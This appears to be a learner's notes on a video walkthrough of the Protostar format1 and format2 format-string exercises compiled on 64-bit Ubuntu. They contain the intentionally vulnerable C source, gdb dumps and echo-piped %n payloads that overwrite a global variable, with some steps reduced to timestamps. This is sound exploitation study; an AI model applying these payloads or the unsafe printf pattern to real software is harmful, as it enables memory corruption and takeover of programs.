0x40.
40. format2 on modern Ubuntu - bin.0x26
: Last video we have explored a format string vulnerability from the protostar examples, but had it compiled on a modern system with “ASLR” and 64bit.
-> At first I thought we couldn’t solve it but explored some tricks and played around with it, but then actually figured out a reliable technique.
-> So let’s explore some more of the format levels.
: “Format1”, at first, looks very simple.
-> Remember last time we just failed because it required that we write to target the exact value “0xdeadbeef”, and here we just have to write..
(: Compile was done in ASLR and 64bit environments.)
: format1 Code(/opt/protostar/bin/format1)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
: Let’s have quick look if our trick still works.
-> So this level also takes an argument, but passes it directly to “printf”.
-> No “sprintf” and “buffer” involved. Anyway.
: we compile it again on our “64”bit ubuntu version and open it in “gdb”.
-> vim format1.c
-> gcc format1.c -o format1
-> gdb format1 AAAA
-> r
-> Then we set a breakpoint at the if compare of target, run it and as arguments we use “AAAAAAAA”.
-> disassemble vuln
Dump of assembler code for function vuln:
0x000055555555468a <+0>: push rbp
0x000055555555468b <+1>: mov rbp,rsp
0x000055555555468e <+4>: sub rsp,0x10
0x0000555555554692 <+8>: mov QWORD PTR [rbp-0x8],rdi
0x0000555555554696 <+12>: mov rax,QWORD PTR [rbp-0x8]
0x000055555555469a <+16>: mov rdi,rax
0x000055555555469d <+19>: mov eax,0x0
0x00005555555546a2 <+24>: call 0x555555554560 <printf@plt>
0x00005555555546a7 <+29>: mov eax,DWORD PTR [rip+0x200967] # 0x555555755014 <target>
0x00005555555546ad <+35>: test eax,eax
0x00005555555546af <+37>: je 0x5555555546bd <vuln+51>
0x00005555555546b1 <+39>: lea rdi,[rip+0xc0] # 0x555555554778
0x00005555555546b8 <+46>: call 0x555555554550 <puts@plt>
0x00005555555546bd <+51>: nop
0x00005555555546be <+52>: leave
0x00005555555546bf <+53>: ret
End of assembler dump.
-> break *0x00005555555546ad
-> run AAAAAAAA
Starting program: /home/rnrf/format1 AAAAAAAA
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x555555756260 ("AAAAAAAA")
RDI: 0x555555756268 --> 0x0
RBP: 0x7fffffffdfc0 --> 0x7fffffffdfe0 --> 0x5555555546f0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdfb0 --> 0x7ffff7de59a0 (<_dl_fini>: push rbp)
RIP: 0x5555555546ad (<vuln+35>: test eax,eax)
R8 : 0x0
R9 : 0x0
R10: 0x555555756010 --> 0x0
R11: 0x0
R12: 0x555555554580 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe0c0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555469d <vuln+19>: mov eax,0x0
0x5555555546a2 <vuln+24>: call 0x555555554560 <printf@plt>
0x5555555546a7 <vuln+29>: mov eax,DWORD PTR [rip+0x200967] # 0x555555755014 <target>
=> 0x5555555546ad <vuln+35>: test eax,eax
0x5555555546af <vuln+37>: je 0x5555555546bd <vuln+51>
0x5555555546b1 <vuln+39>: lea rdi,[rip+0xc0] # 0x555555554778
0x5555555546b8 <vuln+46>: call 0x555555554550 <puts@plt>
0x5555555546bd <vuln+51>: nop
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdfb0 --> 0x7ffff7de59a0 (<_dl_fini>: push rbp)
0008| 0x7fffffffdfb8 --> 0x7fffffffe404 ("AAAAAAAA")
0016| 0x7fffffffdfc0 --> 0x7fffffffdfe0 --> 0x5555555546f0 (<__libc_csu_init>: push r15)
0024| 0x7fffffffdfc8 --> 0x5555555546e2 (<main+34>: mov eax,0x0)
0032| 0x7fffffffdfd0 --> 0x7fffffffe0c8 --> 0x7fffffffe3f1 ("/home/rnrf/format1")
0040| 0x7fffffffdfd8 --> 0x200000000
0048| 0x7fffffffdfe0 --> 0x5555555546f0 (<__libc_csu_init>: push r15)
0056| 0x7fffffffdfe8 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00005555555546ad in vuln ()
-> Then we have a look at the stack.
-> x/32gx $rsp
0x7fffffffdfb0: 0x00007ffff7de59a0 0x00007fffffffe404 # no “41414141”
0x7fffffffdfc0: 0x00007fffffffdfe0 0x00005555555546e2
0x7fffffffdfd0: 0x00007fffffffe0c8 0x0000000200000000
0x7fffffffdfe0: 0x00005555555546f0 0x00007ffff7a05b97
0x7fffffffdff0: 0x0000000000000002 0x00007fffffffe0c8
0x7fffffffe000: 0x0000000200008000 0x00005555555546c0
0x7fffffffe010: 0x0000000000000000 0x18172742873c3521
0x7fffffffe020: 0x0000555555554580 0x00007fffffffe0c0
0x7fffffffe030: 0x0000000000000000 0x0000000000000000
0x7fffffffe040: 0x4d427217b53c3521 0x4d4262a8bc423521
0x7fffffffe050: 0x00007fff00000000 0x0000000000000000
0x7fffffffe060: 0x0000000000000000 0x00007ffff7de5733
0x7fffffffe070: 0x00007ffff7dcb638 0x0000000014e2fce6
0x7fffffffe080: 0x0000000000000000 0x0000000000000000
0x7fffffffe090: 0x0000000000000000 0x0000555555554580
0x7fffffffe0a0: 0x00007fffffffe0c0 0x00005555555545aa
-> See how our As don’t show up? Where are they?
-> Let’s keep looking further down.
-> x/32gx
0x7fffffffe0b0: 0x00007fffffffe0b8 0x000000000000001c
0x7fffffffe0c0: 0x0000000000000002 0x00007fffffffe3f1
0x7fffffffe0d0: 0x00007fffffffe404 0x0000000000000000
0x7fffffffe0e0: 0x00007fffffffe40d 0x00007fffffffe423
0x7fffffffe0f0: 0x00007fffffffea0f 0x00007fffffffea31
0x7fffffffe100: 0x00007fffffffea48 0x00007fffffffea57
0x7fffffffe110: 0x00007fffffffea68 0x00007fffffffea73
0x7fffffffe120: 0x00007fffffffea93 0x00007fffffffeaa7
0x7fffffffe130: 0x00007fffffffeab5 0x00007fffffffeac0
0x7fffffffe140: 0x00007fffffffeae9 0x00007fffffffeafa
0x7fffffffe150: 0x00007fffffffeb04 0x00007fffffffeb1b
0x7fffffffe160: 0x00007fffffffeb2d 0x00007fffffffeb4e
0x7fffffffe170: 0x00007fffffffeba4 0x00007fffffffebb3
0x7fffffffe180: 0x00007fffffffebbc 0x00007fffffffebcc
0x7fffffffe190: 0x00007fffffffebe1 0x00007fffffffebf4
0x7fffffffe1a0: 0x00007fffffffec07 0x00007fffffffec1c
-> x/32gx
0x7fffffffe1b0: 0x00007fffffffec71 0x00007fffffffec8c
0x7fffffffe1c0: 0x00007fffffffeca4 0x00007fffffffecc0
0x7fffffffe1d0: 0x00007fffffffeccc 0x00007fffffffecd9
0x7fffffffe1e0: 0x00007fffffffecea 0x00007fffffffecfa
0x7fffffffe1f0: 0x00007fffffffed0e 0x00007fffffffed20
0x7fffffffe200: 0x00007fffffffed34 0x00007fffffffed46
0x7fffffffe210: 0x00007fffffffed67 0x00007fffffffed9b
0x7fffffffe220: 0x00007fffffffedb8 0x00007fffffffedc0
0x7fffffffe230: 0x00007fffffffedcf 0x00007fffffffede1
0x7fffffffe240: 0x00007fffffffee0d 0x00007fffffffee1a
0x7fffffffe250: 0x00007fffffffee50 0x00007fffffffee6f
0x7fffffffe260: 0x00007fffffffee98 0x00007fffffffeec5
0x7fffffffe270: 0x00007fffffffef2d 0x00007fffffffef4e
0x7fffffffe280: 0x00007fffffffefb2 0x00007fffffffefd2
0x7fffffffe290: 0x0000000000000000 0x0000000000000021
0x7fffffffe2a0: 0x00007ffff7ffb000 0x0000000000000010
-> x/32gx
0x7fffffffe2b0: 0x00000000178bfbff 0x0000000000000006
0x7fffffffe2c0: 0x0000000000001000 0x0000000000000011
0x7fffffffe2d0: 0x0000000000000064 0x0000000000000003
0x7fffffffe2e0: 0x0000555555554040 0x0000000000000004
0x7fffffffe2f0: 0x0000000000000038 0x0000000000000005
0x7fffffffe300: 0x0000000000000009 0x0000000000000007
0x7fffffffe310: 0x00007ffff7dd5000 0x0000000000000008
0x7fffffffe320: 0x0000000000000000 0x0000000000000009
0x7fffffffe330: 0x0000555555554580 0x000000000000000b
0x7fffffffe340: 0x00000000000003e8 0x000000000000000c
0x7fffffffe350: 0x00000000000003e8 0x000000000000000d
0x7fffffffe360: 0x00000000000003e8 0x000000000000000e
0x7fffffffe370: 0x00000000000003e8 0x0000000000000017
0x7fffffffe380: 0x0000000000000000 0x0000000000000019
0x7fffffffe390: 0x00007fffffffe3d9 0x000000000000001a
0x7fffffffe3a0: 0x0000000000000000 0x000000000000001f
-> x/32gx
0x7fffffffe3b0: 0x00007fffffffefe5 0x000000000000000f
0x7fffffffe3c0: 0x00007fffffffe3e9 0x0000000000000000
0x7fffffffe3d0: 0x0000000000000000 0x079e7918152b1600 # (~) Looks like “ascii” # no stack address. we could reuse.
0x7fffffffe3e0: 0x90d95ec6f4056edf 0x0034365f3638781a
0x7fffffffe3f0: 0x722f656d6f682f00 0x6d726f662f66726e
0x7fffffffe400: 0x4141414100317461 0x554c430041414141
0x7fffffffe410: 0x5f4d495f52455454 0x783d454c55444f4d
0x7fffffffe420: 0x4f435f534c006d69 0x3d73723d53524f4c
0x7fffffffe430: 0x3b31303d69643a30 0x31303d6e6c3a3433
0x7fffffffe440: 0x303d686d3a36333b 0x3b30343d69703a30
0x7fffffffe450: 0x31303d6f733a3333 0x303d6f643a35333b
0x7fffffffe460: 0x3d64623a35333b31 0x31303b33333b3034
0x7fffffffe470: 0x333b30343d64633a 0x3d726f3a31303b33
0x7fffffffe480: 0x31303b31333b3034 0x733a30303d696d3a
0x7fffffffe490: 0x3a31343b37333d75 0x33343b30333d6773
0x7fffffffe4a0: 0x343b30333d61633a 0x3b30333d77743a31
-> They are all the way down there.
-> And what’s all this stuff again?
-> x/s 0x7fffffffe3e0
0x7fffffffe3e0: "\337n\005\364\306^ِ\032x86_64"
-> x/s
0x7fffffffe3f0: ""
-> x/s
0x7fffffffe3f1: "/home/rnrf/format1" # “argv[0]”
-> x/s
0x7fffffffe404: "AAAAAAAA" # “argv[1]”
-> x/s
0x7fffffffe40d: "CLUTTER_IM_MODULE=xim" # (~) environment vars
-> x/s
0x7fffffffe423: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...
-> x/s
0x7fffffffe4eb: "=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=0"...
-> x/s
0x7fffffffe5b3: "1;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.al"...
-> x/s
0x7fffffffe67b: "z=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;"...
-> x/s
0x7fffffffe743: "35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*."...
-> x/s
0x7fffffffe80b: "m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;"...
-> x/s
0x7fffffffe8d3: "35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka="...
-> x/s
0x7fffffffe99b: "00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
-> x/s
0x7fffffffea0f: "LESSCLOSE=/usr/bin/lesspipe %s %s"
-> x/s
0x7fffffffea31: "XDG_MENU_PREFIX=gnome-"
-> x/s
0x7fffffffea48: "_=/usr/bin/gdb"
-> x/s
0x7fffffffea57: "LANG=ko_KR.UTF-8"
-> x/s
0x7fffffffea68: "DISPLAY=:0"
-> x/s
0x7fffffffea73: "GNOME_SHELL_SESSION_MODE=ubuntu"
-> x/s
0x7fffffffea93: "COLORTERM=truecolor"
-> x/s
0x7fffffffeaa7: "USERNAME=rnrf"
-> x/s
0x7fffffffeab5: "XDG_VTNR=1"
-> x/s
0x7fffffffeac0: "SSH_AUTH_SOCK=/run/user/1000/keyring/ssh"
-> x/s
0x7fffffffeae9: "XDG_SESSION_ID=1"
-> x/s
0x7fffffffeafa: "USER=rnrf"
-> x/s
0x7fffffffeb04: "DESKTOP_SESSION=ubuntu"
-> x/s
0x7fffffffeb1b: "QT4_IM_MODULE=xim"
-> x/s
0x7fffffffeb2d: "TEXTDOMAINDIR=/usr/share/locale/"
-> x/s
0x7fffffffeb4e: "GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/d4732d80_07fb_40f4_86ab_ff089d871a4f"
-> x/s
0x7fffffffeba4: "PWD=/home/rnrf"
-> See, we didn’t copy our string input to a local variable like buffer did in the last challenge.
-> We directly print the arguments.
-> And the arguments are placed, along with the environment variables all the way at the of the stack.
-> So these are the environment variables.
-> And you see, there is no stack address we could overwrite and abuse like we did last level.
: But actually it’s still solveable, we don’t need the trick from last video at all.
-> It’s simpler than you might think.
-> But let’s explore that with the next challenge, “format2”, that one we haven’t looked at yet and boils down to the same thing.
: Looks a bit more promising, right?
: format2 Code(/opt/protostar/bin/format2)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin); # read into buffer
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
-> It does read data into a local variable on the stack.
-> But it doesn’t look like we can overflow the buffer.
-> This program gets the input from standard input instead of an argument.
-> And then later target is checked if it’s “64”.
: Let’s compile it and open it in “gdb”.
-> vim format2.c
-> gcc format2.c -o format2
-> r
-> disassemble vuln
Dump of assembler code for function vuln:
0x000055555555477a <+0>: push rbp
0x000055555555477b <+1>: mov rbp,rsp
0x000055555555477e <+4>: sub rsp,0x210
0x0000555555554785 <+11>: mov rax,QWORD PTR fs:0x28
0x000055555555478e <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000555555554792 <+24>: xor eax,eax
0x0000555555554794 <+26>: mov rdx,QWORD PTR [rip+0x200875] # 0x555555755010 <stdin@@GLIBC_2.2.5>
0x000055555555479b <+33>: lea rax,[rbp-0x210]
0x00005555555547a2 <+40>: mov esi,0x200
0x00005555555547a7 <+45>: mov rdi,rax
0x00005555555547aa <+48>: call 0x555555554650 <fgets@plt>
0x00005555555547af <+53>: lea rax,[rbp-0x210]
0x00005555555547b6 <+60>: mov rdi,rax
0x00005555555547b9 <+63>: mov eax,0x0
0x00005555555547be <+68>: call 0x555555554640 <printf@plt>
0x00005555555547c3 <+73>: mov eax,DWORD PTR [rip+0x200853] # 0x55555575501c <target> # if(target == 64)
0x00005555555547c9 <+79>: cmp eax,0x40 # “0x40” = “64”
0x00005555555547cc <+82>: jne 0x5555555547dc <vuln+98>
0x00005555555547ce <+84>: lea rdi,[rip+0xe3] # 0x5555555548b8
0x00005555555547d5 <+91>: call 0x555555554620 <puts@plt>
0x00005555555547da <+96>: jmp 0x5555555547f5 <vuln+123>
0x00005555555547dc <+98>: mov eax,DWORD PTR [rip+0x20083a] # 0x55555575501c <target>
0x00005555555547e2 <+104>: mov esi,eax
0x00005555555547e4 <+106>: lea rdi,[rip+0xed] # 0x5555555548d8
0x00005555555547eb <+113>: mov eax,0x0
0x00005555555547f0 <+118>: call 0x555555554640 <printf@plt>
0x00005555555547f5 <+123>: nop
0x00005555555547f6 <+124>: mov rax,QWORD PTR [rbp-0x8]
0x00005555555547fa <+128>: xor rax,QWORD PTR fs:0x28
0x0000555555554803 <+137>: je 0x55555555480a <vuln+144>
0x0000555555554805 <+139>: call 0x555555554630 <__stack_chk_fail@plt>
0x000055555555480a <+144>: leave
0x000055555555480b <+145>: ret
End of assembler dump.
-> Again we look for the if-compare, seems to be here, “0x40” is “64”.
-> And set a breakpoint then run it.
-> break *0x00005555555547c9
-> run
Starting program: /home/rnrf/format2
AAAABBBB(Enter) # waiting for input
-> This time it’s waiting for input, so enter some “A” and “B”.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x555555756670 ("AAAABBBB\n")
RDI: 0x555555756670 ("AAAABBBB\n")
RBP: 0x7fffffffdfc0 --> 0x7fffffffdfe0 --> 0x555555554830 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffddb0 ("AAAABBBB\n")
RIP: 0x5555555547c9 (<vuln+79>: cmp eax,0x40)
R8 : 0x0
R9 : 0x0
R10: 0x555555756010 --> 0x0
R11: 0x246
R12: 0x555555554670 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe0c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555547b9 <vuln+63>: mov eax,0x0
0x5555555547be <vuln+68>: call 0x555555554640 <printf@plt>
0x5555555547c3 <vuln+73>: mov eax,DWORD PTR [rip+0x200853] # 0x55555575501c <target>
=> 0x5555555547c9 <vuln+79>: cmp eax,0x40
0x5555555547cc <vuln+82>: jne 0x5555555547dc <vuln+98>
0x5555555547ce <vuln+84>: lea rdi,[rip+0xe3] # 0x5555555548b8
0x5555555547d5 <vuln+91>: call 0x555555554620 <puts@plt>
0x5555555547da <vuln+96>: jmp 0x5555555547f5 <vuln+123>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddb0 ("AAAABBBB\n")
0008| 0x7fffffffddb8 --> 0x7ffff7dd000a --> 0x7ffff7dc
0016| 0x7fffffffddc0 --> 0x0
0024| 0x7fffffffddc8 --> 0x0
0032| 0x7fffffffddd0 --> 0x1
0040| 0x7fffffffddd8 --> 0x7ffff7ffe728 --> 0x7ffff7fdf000 --> 0x7ffff79e4000 --> 0x3010102464c457f
0048| 0x7fffffffdde0 --> 0x7ffff7ffe100 --> 0x0
0056| 0x7fffffffdde8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00005555555547c9 in vuln ()
-> Now we hit the breakpoint and let’s have a look at the stack.
-> x/32gx $rsp # buffer[512]
0x7fffffffddb0: 0x4242424241414141 0x00007ffff7dd000a # “0x4242424241414141” = “AAAABBBBB” / “0x7fffffffddb0” = new rsp
0x7fffffffddc0: 0x0000000000000000 0x0000000000000000
0x7fffffffddd0: 0x0000000000000001 0x00007ffff7ffe728
0x7fffffffdde0: 0x00007ffff7ffe100 0x0000000000000001
0x7fffffffddf0: 0x00007ffff7fe04c0 0x00007ffff7ddff5f
0x7fffffffde00: 0x00007ffff7ffe710 0x0000000000000000
0x7fffffffde10: 0x0000000000000000 0x00007ffff7ffb298
0x7fffffffde20: 0x0000000001958ac0 0x00007ffff7b97787
0x7fffffffde30: 0x00007fffffffdff0 0x00007ffff7ffb180
0x7fffffffde40: 0x00007fff00000002 0x0000000000000000
0x7fffffffde50: 0x00007fffffffdf50 0x0000000000000003
0x7fffffffde60: 0x00007fffffffdf40 0x0000000000000000
0x7fffffffde70: 0x00007ffff7ffe738 0x0000000000000000
0x7fffffffde80: 0x0000000000000001 0x00007ffff7ffe710
0x7fffffffde90: 0x0000000000000000 0x000000006562b026
0x7fffffffdea0: 0x00007ffff7ffea98 0x00007fffffffdfe8
-> We know that our buffer has “512” bytes, and looks like there are a loot of stack addresses in range.
-> But why is that, isn’t the “512” bytes buffer unallocated or empty?
-> You see it’s a local variable on the stack, which means it simply moved the stack pointer further up to make space for it, but doesn’t clear it.
-> So these are leftover values from other functions that ran before and had a stack there, then got destroyed again when they returned, but their values always remain there.
-> For regular program execution that doesn’t really matter, except that you must not expect a variable to be initialised with zeros, because you can have bad luck and something was it’s place before.
: Let’s see where our target variable is.
-> We can use “print” and then “&target” to get a pointer, so basically the address of target.
-> p &target
$1 = (<data variable, no debug info> *) 0x55555575501c <target>
-> But what is that? That doesn’t look like a stack address?
-> Somebody who has some experience with exploitation on 64bit knows already what that is.
-> It’s a very recognisable address.
-> With “vmmap” you can check the virtual memory and see that it’s part of our binary?
-> vmmap
Start End Perm Name # no ASLR
0x0000555555554000 0x0000555555555000 r-xp /home/rnrf/format2 # Code
0x0000555555754000 0x0000555555755000 r--p /home/rnrf/format2
0x0000555555755000 0x0000555555756000 rw-p /home/rnrf/format2 # Data & “int target;” = “global variable”
0x0000555555756000 0x0000555555777000 rw-p [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fdf000 0x00007ffff7fe1000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffb000 r--p [vvar]
0x00007ffff7ffb000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
-> Look at the permissions for this memory region.
-> It is read and writeable, not executable.
-> So it’s not where code is.
-> It’s in a data segment.
-> And when we look at the code we see that target isn’t defined in a function as local variable.
-> It’s a global variable, so it’s placed in a data segment. # “int target;” = “global variable”
-> Now if you have some experience with exploitation 64bit targets, you also know that that this address is not affected by “ASLR” by default.
: Let’s add another “printf” here, like we did last video to print the address of target.
-> vim format2.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin); # read into buffer
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target @ %p\n", &target);
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
-> gcc format2.c -o format2
-> ./format2
AAAA(Enter Key)
AAAA
target @ 0x555ad725501c
target is 0 :(
-> ./format2
AAAA(Enter Key)
AAAA
target @ 0x55c9907ca01c
target is 0 :(
-> ./format2
AAAA(Enter Key)
AAAA
target @ 0x55b33f3cf01c
target is 0 :(
-> And when we run it a few times, you see target doesn’t change.
: So it should be fairly straight forward.
-> Step 1, let’s find our input on the stack.
-> We enter some As followed by “%x” to print stack values.
-> ./format2
AAAABBBB %x %x %x %x %x %x %x %x # each "%x" consumes a value from the stack
AAAABBBB 613611e0 f02a58d0 1f 681a7281 f04b84c0 41414141 20782520 78252078 # stack values & what is the ”lf”?
1 2 3 4 5 6
target @ 0x55646769b01c
target is 0 :(
-> And here we are. 1, 2, 3, 4, 5, 6.
-> At offset 6 we have our input.
-> So we could place our address there instead of the “A”, and then replace the 6th “%x” with the “%n” to write to it.
: Let’s try it.
-> So we should now enter our input via “echo”, so we can encode raw characters in hex.
-> Then pipe the input into “format2”.
-> So let’s enter the address of target.
(5:16) -> echo -e “\x1c\xb0\x69\x67\x64\x55 %x %x %x %x %x %x %x %x %x” | ./format2
(ERROR) “x1cxb0x69x67x64x55 4dad17d0 22c9b8d0 1f 56cfd294 0 789c80e2 39367830 35783436 20782520”
target @ 0x5565551da01c
target is 0 :(
-> Ah see, there it is, but it’s “4” bytes, so there is also a space still included.
-> This has to be a “0”, because the address is only “3” bytes.
-> So we add that, but now we don’t see any output anymore.
(5:28) -> echo -e “\x1c\xb0\x69\x67\x64\x55\x00 %x %x %x %x %x %x %x %x %x” | ./format2 # “\x00” = stop!
(ERROR) “x1cxb0x69x67x64x55x00 8af7a660 aabc18d0 1f 3f491297 0 789c80e2 39367830 35783436 20782520”
target @ 0x55e83edae01c
target is 0 :(
: What happened?
-> “printf” prints strings. # printf(”…”);
-> And strings are null-terminated in C. So printf stops when it reahed the “0”.
-> So we never reach our “%x” format modifiers.
-> This means, we should move our address to the end, so we can have format stuff.
-> Now let’s try to find again our address.
-> This time I’m using the dollar syntax($) to enter an offset directly.
-> echo -e “%6\$x AAAABBBB” | ./format2 # “%6$x” : 6 = offset
“259c80e2 AAAABBBB”
target @ 0x559096bda01c
target is 0 :(
-> So we know our start was at offset “6”, so the address has to be further down.
-> Also don’t forget to escape the dollar here on the commandline, because dollar($) is a special charachter for the shell.
-> If we keep going with the offsets, we can find the “A”.
-> echo -e “%7\$x AAAABBBB” | ./format2
“41414141 AAAABBBB”
target @ 0x556fb413c01c
target is 0 :(
-> Now sometimes the offset might not be right, so maybe you have to add or remove a few as padding to align it perfectly.
(6:18) -> echo -e “%7\$x \x1c\xb0\x69\x67\x64\x55” | ./format2
(ERROR) “78633178 x1cxb0x69x67x64x55”
target @ 0x5557044cf01c
target is 0 :(
-> Now looks good.
-> Let’s change it to a “%n”.
-> echo -e “%7\$n \x1c\xb0\x69\x67\x64\x55” | ./format2
Segmentation fault (core dumped)
-> Segmentation fault. that didn’t work.
: Let’s write our input to a file, open “gdb”, and use that file as input to investigate the crash.
-> echo -e “%7\$n \x1c\xb0\x69\x67\x64\x55” > exp
-> gdb ./format2
r < exp
(6:41)
-> So here we are at a move.
-> It tries to move whatever is in “r15d” into the address in “rax”.
-> And so “rax” appears to be an invalid address.
-> It’s not our target.
-> There is a “0xa”. And that is obviously a newline.(6:55) # “0xa” = “\n”
-> So that’s the issue.
-> We are on 64bit, so we have 64bit addresses.
-> But we only entered 4 bytes, and after the echo is a newline.
-> So we just have to add 4 more null-bytes.
-> (6:58)&(6:59)
-> (7:02)
# no segfault
# target is “0”
-> We don’t get a crash now.
-> But target is still “0”.
-> How is that?
-> Let’s make it crash again by making the address invalid again.
-> (7:14)
-> This way we should be able to investigate if our address would be correct and what is written to it.
-> gdb format2
run < exp
(7:19)&(7:30)
-> So we see, rax looks good.
-> It only is invalid because of what we changed.
-> Otherwise it would be great.
-> And so it tries to write “r15d” to it, and that is, “0”?
-> Shouldn’t “%n” write the amount of characters already printed?
: Let’s think for a second.
-> Of course it’s 0.
-> Because we didn’t pint anything yet.
-> Before we do the “%n” we obviously have to print something first.
-> So let’s add “%64d”, to print 64 characters.
-> Now that’s 4 characters long, this means we shifted everything by 4, and in order to lign up everything again, that the address is at the correct offset, we have to subtract 4 characters somewhere.
-> (8:00)&(8:07)
-> But luckily we made the padding earlier large enough and so that’s simple.
-> And here we go, it’s “you modified the target”.
-> Finally we managed to exploit a simple example on a modern system without much hassle.
: So maybe now you wonder, but the system has “ASLR”, why is this address fixed.
-> Well, the system has “aslr”, and the system libraries like libc are affected by “aslr”, you can see that when you use ldd to print the library dependencies of the binary, it keeps changing.
-> (8:31)
-> But the binary itself is not affected by “ASLR”.
-> Unless we specifically compile it to be position independent code.
-> gcc format2.c -o format2 -pie -fPIC
(8:51)
-> And wie can do that with the -pie flag for position independent executable and -fPIC for position independent code.
-> If we now execute “format2” and check the address of target, then we see it keeps changing a lot.
(9:00) -> ./format2
AAAA
-> ./format2
AAAA
-> ./foramt2
AAAA
-> Now it’s going to be much harder.
-> Maybe with some strategies from the last video it’s doable.
-> I leave that as an exercise to you watching.
——————————————————————————————————————————————————————————————————————————————————————————————————
: p &target
-> 0x60105c <target>
: vmmap (virtual memory)
: Change & Plus the Code
else{
printf(”target @ %p\n”, &target);
printf("target is %d :(\n", target);
}
: Solve
a) let’s find our input on the stack.
-> each %x consumes a value from the stack
-> AAAABBBB %x %x %x %x %x %x %x %x %x
-> Positioned at Offset 6
-> echo -e “\x5c\x10\x60\x00 %x %x %x %x %x %x %x %x %x” | ./format2
-> echo -e “%6\$x AAAABBBB” | ./format2
Try…
-> echo -e “%7\$x AAAABBBB” | ./format2
-> echo -e “%8\$x AAAABBBB” | ./format2
